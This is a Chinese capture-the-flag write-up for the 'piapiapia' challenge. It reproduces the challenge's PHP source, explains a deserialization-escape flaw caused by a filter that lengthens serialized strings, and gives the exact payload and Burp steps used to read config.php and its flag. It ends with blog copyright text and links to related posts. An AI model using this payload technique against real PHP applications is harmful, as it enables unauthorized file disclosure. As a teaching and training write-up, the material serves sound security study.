ctf piapiapia(反序列化逃逸)解题记录
ctf piapiapia(反序列化逃逸)解题记录
前言
出现漏洞的两个重要因素是:1、敏感函数,2、可控参数。
打开url是一个登录界面,而且只有一个登录按钮。由于看到了登录界面而且没有验证码所以第一个想法是尝试弱口令登录,显然不成功,所以在这里来走了弯路。该题首先是需要通过目录扫描得到源码压缩包、注册账户的地址,得到源码后进行代码审计,发现蛛丝马迹,最终通过构造修改用户名的字符串利用反序列化逃逸得到在config.php中的flag
========================================================================
一、使用dirserch目录扫描工具对目标进行目录扫描
扫描发现了 /config.php、/www.zip、/regester.php。访问/www.zip得到源码。
二、进行php代码审计
1、源代码
index.php
<?phprequire_once('class.php');if($_SESSION['username']) {header('Location: profile.php');exit;}if($_POST['username'] && $_POST['password']) {$username = $_POST['username'];$password = $_POST['password'];if(strlen($username) < 3 or strlen($username) > 16) die('Invalid user name');if(strlen($password) < 3 or strlen($password) > 16) die('Invalid password');if($user->login($username, $password)) {$_SESSION['username'] = $username;header('Location: profile.php');exit; }else {die('Invalid user name or password');}}else {?>
<!DOCTYPE html>
<html>
<head><title>Login</title><link href="static/bootstrap.min.css" rel="stylesheet"><script src="static/jquery.min.js"></script><script src="static/bootstrap.min.js"></script>
</head>
<body><div class="container" style="margin-top:100px"> <form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;"> <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;"><h3>Login</h3><label>Username:</label><input type="text" name="username" style="height:30px"class="span3"/><label>Password:</label><input type="password" name="password" style="height:30px" class="span3"><button type="submit" class="btn btn-primary">LOGIN</button></form></div>
</body>
</html>
<?php}
?>
class.php
<?php
require('config.php');class user extends mysql{private $table = 'users';public function is_exists($username) {$username = parent::filter($username);$where = "username = '$username'";return parent::select($this->table, $where);}public function register($username, $password) {$username = parent::filter($username);$password = parent::filter($password);$key_list = Array('username', 'password');$value_list = Array($username, md5($password));return parent::insert($this->table, $key_list, $value_list);}public function login($username, $password) {$username = parent::filter($username);$password = parent::filter($password);$where = "username = '$username'";$object = parent::select($this->table, $where);if ($object && $object->password === md5($password)) {return true;} else {return false;}}public function show_profile($username) {$username = parent::filter($username);$where = "username = '$username'";$object = parent::select($this->table, $where);return $object->profile;}public function update_profile($username, $new_profile) {$username = parent::filter($username);$new_profile = parent::filter($new_profile);$where = "username = '$username'";return parent::update($this->table, 'profile', $new_profile, $where);}public function __tostring() {return __class__;}
}class mysql {private $link = null;public function connect($config) {$this->link = mysql_connect($config['hostname'],$config['username'], $config['password']);mysql_select_db($config['database']);mysql_query("SET sql_mode='strict_all_tables'");return $this->link;}public function select($table, $where, $ret = '*') {$sql = "SELECT $ret FROM $table WHERE $where";$result = mysql_query($sql, $this->link);return mysql_fetch_object($result);}public function insert($table, $key_list, $value_list) {$key = implode(',', $key_list);$value = '\'' . implode('\',\'', $value_list) . '\''; $sql = "INSERT INTO $table ($key) VALUES ($value)";return mysql_query($sql);}public function update($table, $key, $value, $where) {$sql = "UPDATE $table SET $key = '$value' WHERE $where";return mysql_query($sql);}public function filter($string) {$escape = array('\'', '\\\\');$escape = '/' . implode('|', $escape) . '/';$string = preg_replace($escape, '_', $string);$safe = array('select', 'insert', 'update', 'delete', 'where');$safe = '/' . implode('|', $safe) . '/i';return preg_replace($safe, 'hacker', $string);}public function __tostring() {return __class__;}
}
session_start();
$user = new user();$user->connect($config);
update.php
<?phprequire_once('class.php');if($_SESSION['username'] == null) {die('Login First'); }if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {$username = $_SESSION['username'];if(!preg_match('/^\d{11}$/', $_POST['phone']))die('Invalid phone');if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))die('Invalid email');if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)die('Invalid nickname');$file = $_FILES['photo'];if($file['size'] < 5 or $file['size'] > 1000000)die('Photo size error');move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));$profile['phone'] = $_POST['phone'];$profile['email'] = $_POST['email'];$profile['nickname'] = $_POST['nickname'];$profile['photo'] = 'upload/' . md5($file['name']);$user->update_profile($username, serialize($profile));echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';echo serialize($profile);}else {?>
config.php
<?php$config['hostname'] = '127.0.0.1';$config['username'] = 'root';$config['password'] = '';$config['database'] = '';$flag = '';
?>
2、审计过程
首先看到config.php中有一个flag=’’,那么我们首先要考虑的就是要把config.php中的数据读出来
1、从网站程序入口文件index.php开始审计代码,如下代码所示当完成登录验证后会跳转到profile.php
if($user->login($username, $password)) {$_SESSION['username'] = $username;header('Location: profile.php');exit; }else {die('Invalid user name or password');}
2、在profile.php中如果没有存入过用户的详细信息将会跳转到update.php去上传信息,如果$profile == null 那么就将直接读取该用户的详细信息并显示到当前页面中
$profile=$user->show_profile($username);if($profile == null) {header('Location: update.php');}else {$profile = unserialize($profile);$phone = $profile['phone'];$email = $profile['email'];$nickname = $profile['nickname'];$photo = base64_encode(file_get_contents($profile['photo'])); //把文件读入一个字符串,突破口
3、注意到 **file_get_contents()**这个函数,这个函数是敏感函数,功能是将文件读入一个字符串。这是一个突破口,只要能够控制该函数参数那么就可成功读出flag。
**unserialize()**反序列化函数,所以就要联想到反序列化相关漏洞
跟踪
4、在upload.php中我们需要上传信息,这里就可能出现上传漏洞,但经过研究后没有发现该漏洞,但是在审查代码的过程中nickname这个参数没有做细致的限制,至使我们可以控制该参数。
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)die('Invalid nickname');
将从前端提交的表单中得到的数据存入字典profile,然后将profile,然后将profile,然后将profile序列化后传递到update_profile函数中。
if($file['size'] < 5 or $file['size'] > 1000000)die('Photo size error');move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));$profile['phone'] = $_POST['phone'];$profile['email'] = $_POST['email'];$profile['nickname'] = $_POST['nickname'];$profile['photo'] = 'upload/' . md5($file['name']);$user->update_profile($username, serialize($profile));echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';}
5、跟踪到update_profile函数中,发现该函数的两个参数都被**filter()**过滤。
public function update_profile($username, $new_profile) {$username = parent::filter($username);$new_profile = parent::filter($new_profile);$where = "username = '$username'";return parent::update($this->table, 'profile', $new_profile, $where);}public function __tostring() {return __class__;}
6、跟踪到filter() 中发现该过滤函数的功能是将一些敏感字符串替换成hacker.
public function filter($string) {$escape = array('\'', '\\\\');$escape = '/' . implode('|', $escape) . '/';$string = preg_replace($escape, '_', $string);$safe = array('select', 'insert', 'update', 'delete', 'where');$safe = '/' . implode('|', $safe) . '/i';return preg_replace($safe, 'hacker', $string);}
注意:它将反序列化后的字符串进行过滤,这是就会有导致反序列化逃逸问题的出现。例它将where替换成hacker后就会多增加一个字符,但描述其长度的数字没有改变(该数字由反序列化时变量的属性决定),就有可能导致PHP在按该数字读取相应长度字符串后,本来属于该字符串的内容逃逸出了该字符串的管辖范围。
关键序列化字符 :a :4:{s:5:“phone”;s:11:“18888888888”;s:5:“email”;s:13:“crispr@qq.com”;s:8:“nickname”;a:1:{i:0;s:6:"%crispr%";}s:5:“photo”;s:39:“upload/b371dc3d5de040042a431684b9dd10fc”;}
其中%之内的字符是我们可以控制的字符,我们想要的$profile[‘photo’]=config.php经过序列化后会成为:s:5:“photo”;s:10:"config.php,那我们能不能利用可控内容将其拼接呢?
{s:5:“phone”;s:11:“18888888888”;s:5:“email”;s:13:“crispr@qq.com”;s:8:“nickname”;a:1:{i:0;s:6:"%crispr%–";}s:5:“photo”;s:10:“config.php”;}–s:5:“photo”;s:39:“upload/b371dc3d5de040042a431684b9dd10fc”;}
其中";}s:5:“photo”;s:10:“config.php”;}也就是–间的字符串是我们拼接的,一共有34个字符,此处能逃逸的字符串的长度由经过滤后字符串增加的长度决定,因为这34个字符是有记录的,s:后面接的数字即表示所接字符串的长度,我们只有将我们拼接的字符串位于这个长度之外,增长的部分才能正好被PHP解析为一整个变量,因此想到where会变成hacker,由五个字符变成了六个字符,这样每多一个where,我们构造的字符串就能多逃逸一个,这样就需要34个where。
6、序列化字符串为
{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";i:1;s:5:"world";}
————————————————
版权声明:本文为CSDN博主「BerL1n」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_41107295/article/details/95957035
利用过程:
(1)、brupsuite抓取提交信息的数据包
如图所示将nikename 修改为nikename[ ],并将该参数的修改为序列化字符串
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";i:1;s:5:"world";}
提交该数据包,显示上传信息成功。
下载图片,得到flag。
ctf piapiapia(反序列化逃逸)解题记录相关推荐
- buuctf刷题9 (反序列化逃逸shtml-SSI远程命令执行idna与utf-8编码漏洞)
目录 安洵杯2019 easy_serialize_php (反序列化中的对象逃逸) [0CTF 2016]piapiapia(反序列化逃逸) [BJDCTF2020]EasySearch(Apach ...
- ctf之php序列化,0ctf_2016_unserialize(php反序列化逃逸字符)
一.0ctf_2016_unserialize(php反序列化逃逸字符)1 2 3 4知识点: * 代码审计 * Unserialize * LFR 通过源码,我们可以发现在config.php中的f ...
- piapiapia(代码审计、反序列化逃逸、函数绕过)
目录 wp 文件内容 尝试 主要部分 反序列化逃逸 流程 总结 wp 进入题目,一个登录框,F12和源代码没有看到提示,robots.txt也没有东西.于是试一试访问www.zip,没想到有源码,省了 ...
- 一枚亲斤手对中大SYSUMSClub的puzzle的解题记录(writeup)(2021-10)(G2T1me)
0x00 写在前面 MSC Puzzle 是由中山大学 MSClub 与中山大学 W4terDr0p 战队联合举办的趣味性解谜游戏,内容除古典密码.数字谜题等经典谜题外,还包含部分需要基础计算机知识. ...
- XCTF mobile新手区解题记录(WP)以及一些总结和思考
XCTF mobile新手区解题记录以及一些总结和思考 前言 题目:app3 题目:easy-apk 题目:easy-java 题目:easy-jni 题目:easy-so 题目:app1 题目:Ph ...
- LeetCode解题记录(409)——最长回文串
LeetCode解题记录--最长回文串 题目描述 示例 题目理解 解题思路 题目描述 给定一个包含大写字母和小写字母的字符串,找到通过这些字母构造成的最长的回文串. 在构造过程中,请注意区分大小写.比 ...
- CTF Reverse fantasy.apk解题思路
CTF Reverse fantasy.apk解题思路 一.文件分析 二.解题思路 一.文件分析 文件和解题脚本看这里 动态运行界面提示输入信息进行check chec按钮点击后出出现一个Toast, ...
- XSS平台 XSS挑战之旅 解题记录 writeup
XSS平台 XSS挑战之旅 解题记录 writeup level1 level2 level3 level4 level5 level6 level7 level8 level9 level10 le ...
- python解题教学_Python解题记录第10题
[本文结构]题目信息:来源.地址.序号.描述 题目答案:简要分析,程序代码(测试运行通过,含注释),运行结果 霍霍磨刀:解答这道题目之前应掌握的知识基础 解析过程:题目类型,分析以及实践过程 斩获成果 ...
- buuctf解题记录
buuctf解题记录 Basic 1. Linux labs Ssh连接查看目录 2.BUU LFI COURSE 1 打开环境 是一道文件包含题 进行get传参 构造payload: http:// ...
最新文章
- 无人车、超级高铁、智慧城市......这是一份来自未来的出行报告
- python多线程编程(2): 使用互斥锁同步线程
- pro mvvm 读书笔记
- 网站扛住 100 亿次请求?我们来压测试一试
- 操作系统简答题和论述题
- SPOJ PHRASES Relevant Phrases of Annihilation(后缀数组 + 二分)题解
- 眼动数据分析基础_数据处理
- 复制 PDF 文件上的图片
- java全栈工程师简历,全栈工程师:全栈JavaScript简介
- 采样定理的证明与推导
- 大数据十道经典海量数据处理面试题与十个方法大总结
- MD5介绍以及如何破解MD5算法
- day0学习开始,起于markdown
- opencv与PIL处理图像视频
- 3:AngularJS:模糊查询过滤内容,下拉菜单排序,过滤敏感字符,验证判断后添加表格信息
- 双机热备系统的方案与软件浅析
- 计算机无法备份,win7不能备份系统如何解决?win7不能备份系统的解决方法
- 计算机网络地址块例题,计算机网络习题计算机络习题.ppt
- 流,对话,会话,连接等一些基本概念
- NLP-基础任务-中文分词算法(1)-基于词典: 机械分词(词典字符串匹配):前向最大匹配、后向最大匹配、双向最大匹配【OOV:基于现有词典,不能进行新词发现处理】
热门文章
- 魔方(14)133魔方、一阶鬼魔魔方、双心魔方
- Java各种学习资源(视频+文档)
- 五步教你如何利用python爬虫制作一个中国慕课视频下载器
- 超全Altium Designer16 总结--Altium Designer
- Linux系统管理干货总结笔记
- Millet谷仓对电商的三大革命
- Selenium应用中使用chrome浏览器时的新手安装教程
- __bridge,__bridge_transfer和__bridge_retained详解
- CW5141S1 TWM 测试例程
- ubuntu计算机名用户名,修改ubuntu的用户名(注意用户名和主机名的区别)